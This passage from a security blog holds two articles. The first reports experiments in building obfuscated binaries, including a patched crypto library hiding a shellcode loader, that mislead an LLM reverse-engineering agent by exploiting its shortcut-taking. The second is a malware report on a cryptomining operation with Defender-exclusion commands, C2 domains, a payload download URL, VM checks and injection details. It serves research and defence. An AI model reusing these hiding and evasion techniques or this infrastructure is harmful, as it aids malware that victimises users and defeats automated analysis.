Finally, and this is the most amusing weakness, the model tends to cheat or take shortcuts. Specifically, when the problem is difficult, it will look for every possible trick to save time and may even tend to lie to cut things short. We are therefore seeking to exploit this weakness here by deliberately giving false information to the model and hiding the real behaviors as much as possible so that it is misled into thinking the information is true and doesn't try to dig deeper. Without spoiling anything, as you will see later in the post, even with the information that there is something to dig into, we found techniques that completely thwart its analysis.

Development Workflow

To develop these obfuscation techniques, we used a slightly modified version of the benchmark pipeline to iterate on, test, and refine them over several iterations until we achieved the desired results. The iterative process is simple: we develop a version, submit the binary to a new worker instance with a reverse-engineering prompt, evaluate the results once the job is completed, and discuss areas for improvement with the controller instance.

This is all the more effective because the reverse-engineering instance provides us with its entire thought process, allowing us to easily identify the parts of our obfuscation that enabled it to achieve the breakthrough. Then we "vibecode" the improvement and proceed with the next iteration.

By using this workflow, we were able to develop and improve our techniques very rapidly by better understanding its methods and analysis logic, with significant progress in results at each iteration until the model was defeated.

Obfuscator variant 1: Matryoshka Wall

This obfuscation technique exploits the asymmetry between an LLM’s static and dynamic analysis capabilities. By forcing the agent to serially reimplement a large number of operations that are cheap to execute natively but expensive to emulate statically, the technique creates a prohibitive time-and-cost ratio that renders analysis impracticable within a realistic budget.

This technique buries the crackme logic behind a loader and 100,000 layers of encryption — a matryoshka doll of chained ChaCha20 stages. The LLM can correctly identify the key derivation scheme and decryption steps, but solving the challenge requires actually running those steps, and the agent's static-analysis tooling has no way to execute natively. It has to reimplement ChaCha20 in Python inside its own loop, where 100,000 sequential rounds become prohibitively slow — the agent hits a wall and exhausts its token budget before reaching the inner payload.

Architecture and techniques

The program is a single 4.4 MB ELF file called authd, composed of three logical parts:

A small loader that works as the outer layer
4.4 MB encrypted payload blob embedded in the loader’s .rodata section
16 KB crackme binary that includes the original password check

When a password is provided to the loader, it walks 100k stages in reverse order. Each stage's ChaCha20 key is derived from the embedded host seed XORed with a 32-byte fragment that only becomes visible after decrypting the previous stage — so keys cannot be precomputed from the host seed alone.

Each iteration decrypts only the stage's 44-byte header, verifies a magic word and stage index, extracts the next fragment, and advances a read offset; after the iterations the buffer's tail holds the plaintext crackme ELF, which the loader writes to an anonymous memfd_create file descriptor and hands off via execve — replacing itself with the crackme, which then runs the user's password against the hardcoded expected ciphertext.

Although ChaCha20 was the real cipher, the binary was seeded with Salsa20 misdirection — a working salsa20_core implementation, exported symbols, and a vendor ELF note — designed to lead analysis toward the wrong cipher.

Results

For the first test, the per-stage key was not chained — each stage's key was a pure function of the host seed and the stage index, computable independently. Because every key depended only on the host_seed and i — both of which are static data embedded in the binary — an analyst who extracted the host seed could precompute all 100,000 keys offline in a single batch, then decrypt every stage in parallel without ever executing the binary. The stage header size was 12 bytes, bringing the binary size to 1.2 MB.

For this first benchmark using Opus 4.6, it cost $1.50 and took a total of 10 minutes with 30 turns. It was able to walk through the control flow, identify the packer element, decrypt 100k layers, and extract the ChaCha20 base key.

After triaging the binary, the agent concluded that solving it would require runtime execution it didn't have and stopped without attempting the decryption. The run was cheap ($1.50), but it still achieved the core objective: the agent did not recover the password.

For the second iteration, the program was modified so that each stage's ChaCha20 key is derived from the host seed XORed with a 32-byte fragment stored in the next outer stage's header — so the fragment is only revealed after that outer stage is decrypted. This means keys cannot be precomputed from the host seed alone; an analyst has to execute the chain sequentially, decrypting each stage to obtain the fragment needed for the next. This step increased each header’s stage size to 44 bytes, bringing the total program size to 4.4 MB.

The second test using Opus 4.6 hit our project’s max cost per binary at $10, taking 56 minutes with 61 turns. This time, the agent attempted to perform the decryption statically, but it ran out of time.

Both tests show that LLM agents are limited by their tooling rather than their reasoning. The agents correctly understood the technical details of each challenge, but hit a wall because their analysis was bound to static tools. The Salsa20 misdirection added minor cost, but did not meaningfully mislead either agent. The more durable finding is that cost ratios matter: these binaries execute natively in ~55 ms but cost $1.50 to $9.67 to fail against statically. Malware developers and threat actors will likely exploit this gap by designing binaries for cheap native execution and expensive static emulation. As LLM agents scale and gain more capabilities through dynamic-execution tooling, defenses that rely purely on this gap will weaken, making this a short-term advantage rather than a durable one.

Obfuscator variant 2: Double Fond

Claude Opus 4.6 likes to work efficiently by putting in as little effort as possible. The goal of our obfuscation is to make its work as easy as possible by feeding it a solution for analysis that it can proudly present as a result, while the real payload is buried in the code and clearly accessible if one knows how to trigger it.

To do this, we use an open-source library and patch certain functions so that, with the right inputs, the payload is triggered. Obviously, we do our best to hide the payload and conceal the mechanics for triggering it.

Architecture and techniques

The project's architecture is based on the assumption that we want Claude to believe the program has no hidden functionality and is simply a program that encrypts character strings passed as parameters using a given encryption algorithm. From a high-level perspective, the architecture consists of a main function that calls our library and uses it to perform the encryption task as if nothing were amiss. A loader function is hidden in the program with the necessary modifications so that IDA does not detect it via its prologue/epilogue. The xor-encrypted payload is also hidden in the program. Finally, some functions in the open source library libgcrypt have been patched to allow the main function to trigger the payload with the correct inputs; more on that later.

To achieve these results, we used several techniques to best hide all the mechanisms, starting with how the payload is triggered from the main function: The program accepts three parameters for its encryption: the string to be encrypted, the ID of the algorithm to use, and a key in hex format.

if (argc != 4)
{
  fprintf (stderr, "Usage: %s   \n", argv[0]);
  return 1;
}

The algorithm identifier is used in the libgcrypt library function to select and call the correct encryption function. To do this, the library has a pointer table with 25 slots: 24 for algorithms and 1 null. Each slot points to an object that describes each algorithm and contains a pointer to the corresponding handler. We patch this table to extend it to 256 handlers and set the last handler to a pointer to a fake object gcry_cipher_spec_t object.

static struct {
  gcry_cipher_spec_t *list[256];
} _gcry_cipher_table = {
  .list = {
    &_gcry_cipher_spec_blowfish,        /* [0]  */
    &_gcry_cipher_spec_des,             /* [1]  */
    // (...)
    &_gcry_cipher_spec_salsa20r12,      /* [21] */
    &_gcry_cipher_spec_gost28147,       /* [22] */
    &_gcry_cipher_spec_chacha20,        /* [23] */
    NULL,                               /* [24] terminator */
    /* [25..254]  random-looking garbage pointers filled at build time    */
    &_gcry_fips_selftest_ref  /* [255] ← ptr to our fake object  */
  }
};

We craft this fake object with the “algo = -1” and the encrypt function pointer pointing to our loader function, so when the library calls the encrypt function, it actually calls our handler.

typedef struct gcry_cipher_spec
{
  int algo;
  struct { unsigned int disabled:1; unsigned int fips:1; } flags;
  const char *name;
  const char **aliases;
  gcry_cipher_oid_spec_t *oids;
  size_t blocksize;
  size_t keylen;
  size_t contextsize;
  gcry_cipher_setkey_t     setkey;     /* nop_setkey in the fake spec */
  gcry_cipher_encrypt_t    encrypt;    /* ← &loader in the fake spec */
  // (...)
} gcry_cipher_spec_t;

The algo field is the algorithm ID and must match the ID the user requested. So why -1? It’s very simple: we placed our pointer to our fake object at slot 255 of our pointer table, knowing that only 25 slots originally existed. Then we modified the function that indexes this table to mask the index with 0xff, so that -1 (0xffffffffffffffff) becomes 255 (0xff) and points to our fake object pointer.

In previous versions, the pointer was directly adjacent to the structure, and Claude managed to find it without any problem, then by following the xref, it easily found our loader. So we mitigated that by moving the pointer away from the table and filling the gap with garbage data so that when the LLM finds the table, it doesn't accidentally stumble upon the pointer to our fake object.

The second problem we encountered was that the pointer to our fake object was initially written at runtime in a way that would not be present in the data during static analysis, preventing Claude from finding it by scanning the program's memory. To do this, we resolved the fake object address and the write-to address at runtime, then scattered the logic across different functions within the call tree of one of the library's initialization functions. Unfortunately, despite these precautions, Claude was able to systematically identify these elements during its thorough analysis of the library's functions.

To mitigate this issue, we chose to keep the pointer to our fake object static by patching the library code directly. However, to ensure that our pointer does not create a xref to our fake object and to our loader, and to be sure it doesn’t stand out on its own, we have encrypted all the table pointers and our own pointer so that the whole table, including the random data in the middle, just looks like garbage. Then we have patched the library so it handles the decryption without looking too suspicious. The encryption is very simple: we know that the pointer is rarely defined across all its 64 bits, so we use the high-order 8 bits as the key to encrypt the pointer.

raw  = (uint64_t)(uintptr_t)cipher_list[(unsigned)algo & 0xFF]; // algo == -1 -> loader
tag  = raw >> 56;
mask = tag * 0x0101010101010101ULL;
spec = (gcry_cipher_spec_t *)(uintptr_t)((raw ^ mask) & 0x00FFFFFFFFFFFFFFULL);
if (spec && spec->algo == algo)
  return spec;

The last issue is that our loader function was found by IDA analysis and was present in the function list, so the model would decompile it at some point while reviewing all functions.

We fixed that by crafting the loader with no prologue and epilogue so that it is not automatically found by disassembler heuristics. When the loader is called, it decrypts and loads into an empty, pre-allocated RWX segment called ".note.fips" which tries to blend in. The segment is empty so as not to arouse suspicion during static analysis, but is used to execute our payload as shellcode. The parameters that were intended for the encryption function are used for the crackme function.

Finally, as an attempt to mitigate binary diffing for what it’s worth, we purposely downloaded a slightly older version of the library and patched the version string to masquerade as the latest, with the idea that we would better hide our patches within the other legitimate changes.

Results

To conduct our research and tests, we informed the model that it was being benchmarked as part of a test and that it had to look for a hidden crackme in the program. The goal was to ensure that it didn't stop at the first conclusions and that it was forced to look as deeply as possible. This allowed us to assess the strengths and weaknesses of its analysis and find the right mitigations.

Reverse Engineering Prompt — Informed Scenario

Child knows there's a hidden crackme. Tests technical resilience of concealment.

---

System Prompt:

You are an experienced reverse engineer. You have access to IDA Pro through MCP tools that let you 
analyze binaries — decompile functions, list symbols, read strings, examine cross-references, and more.

The detection depth score is evaluated on the following criteria:

Here are the results we obtained for the different development iterations:

As you can see, each iteration has increased the various cost and time factors, despite Claude succeeding each time in cracking our concealment and recovering the crackme's password. We actually regressed with the V6, which introduced new flaws by simplifying how the pointer to our loader was written into memory. The breakthrough came with V7, which involved a complete redesign of the loader pointer's concealment mechanism with the techniques explained earlier.

Even with the explicit hint that the crackme is hidden within the binary, V7 makes Claude Opus 4.6 completely ineffective, resulting in a score of 1 out of 5 for a cost of $5.2 and 11.9 minutes.

Initially, we mentioned using a prompt that provided the model with details about the crackme. To assess the model's performance in a real-world scenario, we tested it without this additional information to see how quickly it would fail against V7. The results are as follows:

Without surprise, the “blind” scenario was even more effective with a score of 0 out of 5, but didn't maximize cost factors. Indeed, it quickly satisfies itself with the main-function decoy logic and doesn’t feel the need to look further.

Our results prove that, with the right workflow and guidance, we can easily build highly effective deceptive schemes targeting LLMs that I’m sure wouldn’t resist for five minutes against a skilled human reverse engineer, given the same static-analysis constraint.

Obfuscator variant 3: Dispatch Maze

This obfuscator variant implements a state-machine dispatcher to hide the crackme algorithm (reimplemented for Windows) within thousands of structurally similar functions. The core idea is to force the model to distinguish a handful of real cipher nodes from thousands of realistic decoys, all of which share similar API call patterns and data-dependent control flow. The LLM will attempt to limit the amount of decompile MCP tool calls to optimize for token consumption and context window usage, and the obfuscation is designed to ensure that any shortcut it takes instead will miss the real logic.

Architecture and techniques

The original cipher is shattered into 20 ordered fragments and scattered across 20 randomly-chosen functions among 3,000 total, chained together via data-dependent state transitions. The remaining 2,980 functions are decoys containing realistic Windows API calls (file, registry, memory, crypto, thread/sync, string ops) along with some math noise.

Execution flows through a volatile function pointer table: each node computes state_acc = state_acc * 0x6C078965 + CONST, returns state_acc % 3000, and the dispatcher calls the next node.

The following shows an example of 4 random function handlers:

We also prompted the LLM to introduce additional complexities, in which it implemented a few other techniques:

Constant diffusion - the cipher's LCG constants are replicated across ~50 decoy functions as math noise, so searching for these values returns false positives alongside the real cipher nodes
Scattered enc_expected globals - the 8 bytes of expected ciphertext (0x1a, 0xcb, 0x74, 0xaa, 0x1a, 0x8b, 0x31, 0xb8) are each stored in a separate volatile global, hidden among 92 decoy globals with random byte values
Opaque predicates gating fake cipher operations
~20 misleading strings built byte-by-byte (This is a standard Windows service manager utility., String buffers used for Windows event log formatting., etc.)
A constructor-derived key_seed (0x5EED1234) via modular exponentiation.

Running the initial test, version 1 of the obfuscated binary was cracked cleanly in under 12 minutes. Using the iterative development workflow, we developed a second version that extends version 1 with two main hardening techniques, each targeting a specific step in the attack that cracked the base variant.

Diversified transition templates

Every node function ends with the same arithmetic: state_acc = state_acc * 0x6C078965 + CONST, but in version 1, this was emitted as identical imul+lea instructions across all 3,000 functions. The LLM exploited this uniformity by running a single byte-pattern search to extract every transition constant in a single execution.

In version 2, the code generator randomly assigns one of 11 structurally different code templates (with the same underlying arithmetic) to each function. Some vary in how multiplication is computed: splitting it into 16-bit hi/lo parts or using a Russian peasant bit-loop. Others vary in how the constant is represented, such as deriving it at runtime from two or three volatile sub-values combined via XOR, ADD, or SUB, or reading it from a 500-entry volatile global array where only 13 entries are actually used to look up the required constants. No template accounts for more than ~10% of functions.

One limitation observed is that some template expressions, particularly the simpler arithmetic splits, were folded back by the decompiler during analysis, reducing the effective diversity. More aggressive templates (bit-loop multiply, table lookups, volatile intermediaries) survived decompilation intact.

Transit decoys in the real chain

In version 1, the analyst LLM simulated the state machine from its entry point and revealed exactly 20 visited functions, all of which contained the original cipher logic. The LLM chose to ignore the other 2,980 nodes entirely. In version 2, 91 transit nodes are inserted into the real execution chain, around 3-7 placed between each consecutive pair of cipher nodes. Transit nodes are visited during execution but perform no cipher work (contain the same API calls, math noise, and opaque predicates). After the chain simulation, there will be 111 visited functions, and each must be decompiled to identify the 20 actual functions that carry the cipher fragments.

Results

Version 1 was completely solved. The LLM identified the dispatcher, recognized that all 3,000 transition functions shared the same instruction pattern, and used a single byte-pattern search to extract every transition constant at once. From there, it simulated the state machine, found that only 20 functions were ever visited, decompiled them, and recognized the XOR cipher and LCG key schedule. Finally, it recovered the password r3v3rs3! at high confidence. It seemed to have ignored the misleading strings meant to throw it off guard. The entire analysis took under 12 minutes and cost $2.56 over 68 turns.

Version 2 was not solved. The pipeline spent 3.8x longer (~ 46 minutes), used 1.75x more turns (119), and cost 3.4x more ($8.83), but failed to recover the password. It correctly identified the dispatch table, the opaque predicates, and the termination handler, and recognized the use of noise handlers, demonstrating that it at least understood the high-level structure of the obfuscation.

Version 2 removed the shortcut the LLM relied on against Version 1, and the model failed to connect the scattered cipher fragments into a coherent algorithm, stalling on finding the comparison target without being able to invert it. The answer it returned (\x1a\xcb\x74\xaa\x1a\x8b\x31\xb8) is the raw ciphertext that the binary compares against.

Below is the plot result using the original evaluation system:

Conclusion

In this research, we explored in the first part Claude 4.6's ability to statically solve reverse engineering problems of obfuscated programs, of increasing difficulty. Despite very impressive performance, we demonstrated that program obfuscation is far from being overcome by the automated approach offered by LLMs, but that classic transformations are nevertheless easily breakable today. In the second part, we explored iterative development methods for three obfuscation variants that were completely "vibecoded," which demonstrates, at least if we focus on static analysis, that it is perfectly feasible to develop effective, rapid, custom, and low-cost obfuscation methods.

While this research only scratches the surface, it offers a glimpse into the ongoing arms race between obfuscation and automated analysis. It demonstrates that the barrier to developing effective countermeasures against LLM agents is currently low enough that any motivated operator can clear it in a single long weekend.

So buckle up: the cat-and-mouse game is leveling up, and neither side is playing with training wheels anymore.

Fake Installers to Monero: A Multi-Tool Mining Operation

Jia Yu Chan,Cyril François,Remco Sprooten — Tue, 31 Mar 2026 00:00:00 GMT

Introduction

Elastic Security Labs has been tracking a financially motivated operation, designated REF1695, that has been active since at least late 2023. The operator deploys a combination of RATs, cryptominers, and custom XMRig loaders through fake installer packages. Across all observed campaigns, the infection chains share a consistent packing technique, overlapping C2 infrastructure, and common social engineering patterns, linking them to a single operator.

Beyond cryptomining, the threat actor monetizes infections through CPA (Cost Per Action) fraud, directing victims to content locker pages under the guise of software registration. In this report, we trace the operation's evolution across multiple campaign builds, analyze the C2 communication protocols, document a previously unreported .NET implant (CNB Bot), and track the operator's financial returns via public Monero mining pool dashboards.

Key takeaways

Financially motivated campaigns have been active since late 2023, deploying various RATs and cryptominers through fake installer packages.
Operator monetizes infections through both cryptomining and CPABuild fraud.
Stages use a consistent Themida/WinLicense + .NET Reactor packing combination
CNB Bot is a previously undocumented .NET implant with RSA-2048 signed task authentication
A custom XMRig loader evades detection by killing the miner whenever analysis tools are running and deploys WinRing0x64.sys
Over 27.88 XMR paid out across four tracked wallets, with active workers at the time of writing
We leveraged a Claude-driven agentic pipeline to automate the extraction of payload stages and implant configurations

Campaign 1 (CNB Bot)

The most recent campaign involves dropping CNB Bot, using an ISO file as the infection vector. The ISO image contains 2 files: a single-stage .NET Reactor-protected loader further packed with Themida/WinLicense 3.x, and a ReadMe.txt. Associated ISO samples:

460203070b5a928390b126fcd52c15ed3a668b77536faa6f0a0282cf1c157162
b8b7aecce2a4d00f209b1e4d30128ba6ef0f83bbdc05127f6f8ba97e7d6df291
9977b9185472c7d4be22c20f93bc401dd74bb47223957015a3261994d54c59fc
9fa23382820b1e781f3e05e9452176a72529395643f09080777fab7b9c6b1f5c
27db41f654b53e41a4e1621a83f2478fa46b1bbffc1923e5070440a7d410b8d3

The ReadMe.txt serves as a social engineering lure, framing the unsigned binary as the product of a small non-profit team that cannot afford EV code-signing, then provides explicit instructions to bypass SmartScreen via "More Info" → "Run Anyway.".

Using the open-source Themida/Winlicense unpacker project, Unlicense, we automatically extracted the .NET Reactor-protected loader and then passed it through NETReactorSlayer for deobfuscation. The majority of campaigns were observed to use this combination of protection in both the initial and subsequent stages.

The loader first invokes PowerShell with -WindowStyle Hidden, to register broad Microsoft Defender exclusions via Add-MpPreference -ExclusionPath and Add-MpPreference -ExclusionProcess, covering the loader itself, staging directories (%TEMP%, %LocalAppData%, %AppData%) and a set of LOLBin process names the malware later utilizes.

It then extracts an embedded .NET assembly resource and writes it to disk at %TEMP%\MLPCInstallHelper.exe (filename varies by build), then executes it via PowerShell. This embedded resource is a .NET Reactor-protected CNB Bot instance, discussed in detail in the Code Analysis - CNB Bot section below.

Since no legitimate software is installed at any point, the loader presents a fake error dialog to the user, attributing the installation failure to unmet system requirements.

Campaign 2 (PureRAT)

Pivoting on the ReadMe.txt lure content, we discovered a campaign dropping PureRAT v3.0.1. This campaign uses a very similar initial-stage loader as campaign 1 and introduces a second-stage loader.

Example ISO samples employing this chain:

7bb0e91558244bcc79b6d7a4fe9d9882f11d3a99b70e1527aac979e27165f1d7
c6c4a9725653b585a9d65fc90698d4610579b289bcfb2539f7a5f7e64e69f2e4
a3f84aa1d15fd33506157c61368fd602d0b81f69aff6c69249bf833d217308bb
82c03866670b70047209c39153615512f7253f125a252fe3dcd828c6598fdf86
542d2267b40c160b693646bc852df34cc508281c4f6ed2693b98147dae293678

We will be using the first sample from this list as an example for our analysis.

The initial-stage loader applies Microsoft Defender exclusions to the same directory set (%TEMP%, loader path, %LocalAppData%, …), but process exclusions are limited to the loader executable only. The Stage 2 payload is extracted from the embedded resource to %TEMP%\<...>InstallHelper.exe and launched via hidden PowerShell Start-Process. Stage 2 is protected with the same Themida + .NET Reactor packing technique.

Stage 2 registers only process-level Microsoft Defender exclusions.

The loader then extracts four embedded resources into the install directory at %SystemDrive%\Users\%UserName%\AppData\Local\SVCData\Config, dropping 3 unused, benign DLLs and a malicious svchost.exe binary, which is the 3rd stage. Stage 3 is launched through PowerShell, and a scheduled task named SVCConfig is registered via schtasks.exe with an ONLOGON trigger and HIGHEST privilege.

Following payload launch, Stage 2 writes a temporary .bat file to %TEMP% with a polling loop that forcefully deletes the installer binary until successful, then deletes the batch file itself.

Stage 3 is a Themida + .NET Reactor-protected, in-memory PE loader, which is also the beginning of the PureRAT component. The encrypted next-stage module is stored as a .NET resource and decrypted via Triple DES (3DES) in CBC mode using an embedded key and IV. The decrypted output is a GZip-compressed PE: the first 4 bytes encode the decompressed size as a little-endian integer, followed by the GZip stream.

The PureRAT v3.0.1 configuration is decoded by base64-decoding an embedded string and deserializing the result as a Protobuf message:

23-01-26 (build / campaign date)
windirautoupdates[.]top (C2 #1)
winautordr.itemdb[.]com (C2 #2)
winautordr.ydns[.]eu (C2 #3)
winautordr.kozow[.]com (C2 #4)
Aesthetics135 (mutex and C2 comms key)

The C2 communication protocol uses key derivation function - PBKDF2-SHA1("Aesthetics135", embedded_salt=010217EA2530863FF804, iter=5000) to derive 96 bytes, split into an AES-256-CBC key and an HMAC-SHA256 key. Incoming messages are authenticated by verifying the HMAC over [IV | ciphertext] stored in the first 32 bytes; the IV is then read from byte offset (32- 48) and used to decrypt the remaining ciphertext, yielding a Protobuf-encoded command message.

By decrypting traffic captured in VirusTotal sandboxes, we observed that the C2 server at windirautoupdates[.]top was automatically issuing a download-and-execute task directing the implant to fetch an XMR mining payload from https://github[.]com/lebnabar198/Hgh5gM99fe3dG/raw/refs/heads/main/MnrsInstllr_240126[.]exe.

Campaign 3 (PureRAT, PureMiner, XMRig loader)

The third campaign variant shares the same initial-stage loader design as Campaigns 1 and 2. Its Stage 2 resembles Campaign 2 but differs by dropping multiple embedded payloads from the resource section, including PureRAT, a custom XMRig loader, and PureMiner.

Example ISO sample:

f84b00fc75f183c571c8f49fcc1d7e0241f538025db0f2daa4e2c5b9a6739049.

To keep the machine awake and maximize mining uptime, the loader disables sleep and hibernation via Windows power management commands:

powercfg /change standby-timeout-ac 0
powercfg /change standby-timeout-dc 0
powercfg /change hibernate-timeout-ac 0
powercfg /change hibernate-timeout-dc 0

The PureRAT configuration matches Campaign 2, differing only in the build/campaign ID: 25-11-25.

The PE loader component of PureMiner is similar to PureRAT, and the decrypted module is also obfuscated via .NET Reactor. Since the configuration is Protobuf-serialized, hooking ProtoBuf.Serializer::Deserialize allows inspection of the configuration data:

25-11-25 (build / campaign date)
wndlogon.hopto[.]org (C2 #1)
wndlogon.itemdb[.]com (C2 #2)
wndlogon.ydns[.]eu (C2 #3)
wndlogon.kozow[.]com (C2 #4)
4c271ad41ea2f6a44ce8d0 (mutex and C2 comms key)

Additional behavioral indicators include the dynamic loading of AMD Display Library binaries (atiadlxx.dll/atiadlxy.dll) and the NVIDIA API library (nvapi64.dll), consistent with GPU hardware profiling techniques employed by PureMiner.

Custom .NET-Based Loader for XMRig

The following findings cover the custom XMRig loader deployed during this campaign. Analyzed samples:

0176ffaf278b9281aa207c59b858c8c0b6e38fdb13141f7ed391c9f8b2dc7630
9409f9c398645ddac096e3331d2782705b62e388a8ecb1c4e9d527616f0c6a9e
f84b00fc75f183c571c8f49fcc1d7e0241f538025db0f2daa4e2c5b9a6739049

The Entry Point and Setup

Execution begins in the Start() method. The loader first calls FetchRemoteConfig(), which reaches out to a hardcoded URL (https://autoupdatewinsystem[.]top/MyMNRconfigs/0226.txt). The response is AES-encrypted JSON, which the loader decrypts using a hardcoded key (AsyncPrivateInputx64) and parses to extract the pool, wallet, and mining arguments. If the remote server is unreachable or decryption fails, it falls back to a hardcoded ztbpVbABSx1jDIKnWGbx1d_0 configuration to ensure mining can still occur.

Resource Extraction

Simultaneously, an asynchronous task triggers ExtractResources(). The loader checks the %TEMP% directory for two files: procsrv.exe (the renamed XMRig payload) and WinRing0x64.sys (a driver used by XMRig for direct hardware access). If either is absent, the loader unpacks them from its own assembly manifest.

Evasion Loop

After a 3-second sleep, the loader calls StartEvasionTimer(), initializing a timer that ticks every 1,000 milliseconds. On each tick, IsAnalysisToolRunning() compares all running process names against a hardcoded list of 35 security and monitoring tools (Taskmgr, ProcessHacker, Wireshark, Procmon, etc.).

If any analysis tool is detected, the loader immediately calls KillMinerProcess(), terminating procsrv.exe, effectively dropping the CPU usage back to normal.

If no analysis tool is detected, the loader calls CheckAndRunMiner(). If the miner is not currently running, it reconstructs the command-line arguments (using the remote or fallback config) and quietly launches the miner as a hidden background process via LaunchMiner().

This creates a "hide and seek" scenario for the victim. Whenever they try to investigate why their PC is slow, the malware shuts down the miner.

WinRing0x64.sys and Ring 0 Access

The loader also drops and loads WinRing0x64.sys, a legitimate open-source driver frequently abused by cryptominers. The driver provides direct Ring 0 (kernel-level) hardware access, which XMRig uses to apply its Model Specific Register (MSR) modification, reconfiguring CPU prefetcher and L3 cache behavior to significantly boost RandomX (Monero) hash rates.

Campaign 4 - Umnr_ (SilentCryptoMiner)

From the autoupdatewinsystem[.]top domain, we identified another GitHub account https://github[.]com/ugurlutaha6116 hosting another loader variant whose executable name is prefixed with Umnr_. This loader is a Themida-packed SilentCryptoMiner loader that installs persistently on the victim machine, injects a watchdog payload into conhost.exe, and a miner payload into explorer.exe, mining ETH or XMR depending on the build configuration.

SilentCryptoMiner is a closed-source Win32 64-bit malware released for free on GitHub. The samples we analyzed are older versions than the latest release:

1f7441d72eff2e9403be1d9ce0bb07792793b2cb963f2601ecfdf8c91cd9af73
468441d32f62520020d57ff1f24bb08af1bc10e9b4d4da1b937450f44e80a9be
4e6b8fdd819293ca3fe8f8add6937bf6531a936955d9ac974a6b231823c7330e
6492e50e79b979254314988228a513d5acbdaa950346414955dc052ae77d2988
ce90cb3a9bfb8a276cb50462be932e063ed408af8c5591dd2c50f1c6d18c394c

Direct Syscalls

To evade detection, SilentCryptoMiner uses direct syscalls instead of NTDLL functions. To do this, it parses NTDLL exports to locate the target function by a hash of its name, extracts the syscall number, and manually executes the syscall instruction sequence.

Disable Sleep and Hibernate

To ensure it can use the host machine for as long as possible, SilentCryptoMiner disables Windows sleep and hibernation by executing a shell command.

Install Persistence

After copying itself to its installation folder (in this case, configured to masquerade as legitimate software named “Appdata/Local/OptimizeMS/optims.exe”), SilentCryptoMiner proceeds to establish persistence. If the process is running with administrator privileges, it creates a scheduled task configured via an XML file.

The XML file is dropped onto the disk in the AppData/Local/Temp folder and contains the task configuration. One interesting setting is AllowHardTerminate = False, which prevents the task from being forcibly terminated via schtasks.

If the process lacks administrator rights, it instead adds a Run key to the registry.

After initial installation, the process terminates. On subsequent execution by the persistence mechanism, it verifies that it is running from its installation directory before proceeding to the process injection phase.

Inject watchdog and miner payloads

In the samples we analyzed, the builds contain four payloads:

A Winring0.sys driver
A watchdog process
A Monero miner
An Ethereum miner

We know that the malware can contain multiple miners; however, in our tests, we only observed the Monero miner injected into a process. In the code, only one of the two miners is injected, which we assume depends on the configuration.

SilentCryptoMiner initiates injection by creating a new suspended process with a spoofed parent process. It obtains a handle to explorer.exe using NtQuerySystemInformation and NtOpenProcess, then configures a PS_ATTRIBUTE_LIST structure with the handle for parent spoofing and passes it to NtCreateUserProcess.

The payload is written to disk via NtCreateFile and NtWriteFile, then mapped into the target process's memory space through NtCreateSection and NtMapViewOfSection. Execution flow is hijacked by modifying the suspended process's entry point (in the RCX register) to point to the payload's image base using NtGetContextThread and NtSetContextThread. The process's PEB (in RDX register) image base is also set to the payload's address using NtWriteVirtualMemory. Finally, the process is resumed with NtResumeThread.

The payload data is decrypted from a hardcoded blob in the binary using a simple XOR cipher with a hardcoded key. After injection, the blob is re-encrypted in memory to reduce forensic traces.

In the analyzed samples, SilentCryptoMiner utilizes two distinct processes for payload injection: the watchdog component is injected into conhost.exe, while the miner payload targets explorer.exe. The WinRing0.sys driver is also written to disk, then loaded and used by the miner. This is likely to optimize the CPU for mining operations.

Watchdog and Miner Processes

The watchdog is responsible for monitoring the loader file in its persistence folder: it rewrites the file to disk if it is deleted and reinstalls the persistence mechanism if the scheduled task or registry key is deleted.

The miner downloads its configuration from (/UWP1)?/*CPU.txt endpoints and communicates with its C2 via [UWP1|UnamWebPanel7]/api/endpoint.php API, depending on the version.

Based on the documentation and memory strings, we know that the miner includes supplementary protection measures: Like the .NET miner detailed previously, it halts mining operations when it detects specific blocklisted processes. These processes encompass a variety of tools, including those used for process monitoring, network monitoring, antivirus protection, and reverse engineering.

Code analysis - CNB Bot

CNB Bot is a .NET implant with integrated loader capabilities. It implements a command-polling loop against its configured C2 servers, and supports 3 operator commands:

download-and-execute arbitrary payloads
self-update
uninstall/cleanup

On Jan 31, 2026, malware researcher @ViriBack discovered a related C2 panel that was exposed at https://win64autoupdates[.]top/CNB/l0g1n234[.]php, which has since been taken offline.

Configuration

Some configuration values for CNB Bot are not encrypted, such as the bot version (1.1.6.), campaign date (03_26), and the scheduled task name for persistence (HostDataPlugin).

Sensitive strings (C2 URLs, mutex name, auth token, comms key) are stored AES-256-CBC encrypted with a hardcoded 32-byte key, which differs across campaign batches.

Strings can be decrypted through the following formula:

x = base64.decode(data)
decrypted = AES256CBC(key=hard_coded_key, iv=x[0:16]).decrypt(x[16:])

Extracted configuration:

Execution Flow

At startup, CNB Bot uses five different methods to check for VM detection:

| Check | Technique | | :---- | :---- | | WMI ComputerSystem | Manufacturer/Model: "vmware", "virtualbox", "vbox", "qemu", "xen", "parallels", "innotek", "microsoft corporation" (manufacturer) + "virtual machine" (model) | | WMI BIOS | Version/Serial: "vmware", "virtualbox", "vbox", "qemu", "bochs", "seabios" | | Process list | "vmtoolsd", "vmwaretray", "vmwareuser", "vboxservice", "vboxtray", "xenservice" | | Registry | VMware Tools / VirtualBox Guest Additions keys: "SOFTWARE\VMware, Inc.\VMware Tools", "SOFTWARE\Oracle\VirtualBox Guest Additions", "SYSTEM\CurrentControlSet\Services\VBoxGuest", "SYSTEM\CurrentControlSet\Services\VBoxSF" | | MAC Address | "00:0C:29", "00:50:56", "00:05:69", "08:00:27", "0A:00:27", "00:16:3E", "00:1C:14" |

Each check returns zero or one and is summed against a threshold. When the detection threshold is reached, the first process instance acquires a named mutex and enters an infinite sleep (Thread.Sleep(int.MaxValue)), appearing hung rather than terminating cleanly. Any subsequent instance finding the mutex already held exits immediately.

Otherwise, on first execution, the implant checks for %APPDATA%\HostData\install.dat. If absent, it performs the initial installation:

Generates a random 5-character alphabetic subdirectory name under %APPDATA%\HostData\
Copies itself to %APPDATA%\HostData\\sysdata.exe
Writes the installed path to install.dat
Extracts benign dependencies DiagSvc.dll and sdrsvc.dll into the same directory
Writes a VBScript wrapper sysdata.vbs alongside the binary: CreateObject("WScript.Shell").Run """""", 0, False
Creates a scheduled task named HostDataProcess via schtasks.exe, configured to run wscript.exe //nologo sysdata.vbs every 10 minutes at HIGHEST privilege
Launches the installed copy as a hidden process with %TEMP% as the working directory
Self-deletes the original copy via a self-deleting BAT script (timeout /t 3, loop-del)

On subsequent runs, when install.dat exists, and the running path matches its contents, the implant proceeds to active operation:

Sets the current working directory to %TEMP%
Repairs persistence: checks if sysdata.vbs exists (recreates if absent) and verifies the scheduled task is configured with wscript.exe, re-registering it if necessary
